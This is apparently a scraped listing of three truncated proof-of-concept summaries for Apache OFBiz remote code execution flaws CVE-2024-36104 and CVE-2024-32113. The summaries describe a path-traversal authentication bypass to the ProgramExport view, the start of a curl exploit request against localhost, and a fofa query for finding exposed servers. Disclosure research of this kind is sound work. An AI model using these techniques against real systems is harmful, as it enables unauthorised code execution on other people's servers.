CVE-2024-36104-PoC

CVE-2024-36104-PoC CVE-2024-36104 の概念実証（PoC）です。これは、Apache OFBiz 18.12.14 より前 のバージョンにおける、認証不要のリモートコード実行（RCE）の脆弱性です。 OFBiz の ControlServlet は、リクエストパスを正規化する前に、認証不要のビュー（forgotPassword）を解決します。/%2e/%2e/ を追加するとパスが /webtools/control/ に折り返されるため、元のビューに紐づくセキュリティ/権限チェックを一切通過せずに ProgramExport ビューへ到達します。そして...

CVE-2024-32113-POC

Apache OfBiz 漏洞 CVE-2024-32113 的 POC USERNAME 和 PASSWORD 参数可以在 /ecomseo/AnonContactus 接口中提供，该接口对任何人公开可访问。 POC1：RCE root@kitploit: curl --noproxy '' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \ --header 'User-Agent: Apifox/1.0.0...

CVE-2024-32113

CVE-2024-32113 Apache OFBiz のパストラバーサルにより RCE に至る PoC。 Apache OFBiz における、制限付きディレクトリへのパス名の制限不備（'Path Traversal'）の脆弱性。この問題は Apache OFBiz 18.12.14含まない より前のバージョンに影響します。ユーザーは問題を修正したバージョン 18.12.14 へのアップグレードを推奨されます。 fofa クエリ app="ApacheOFBiz" POC root@kitploit: POST...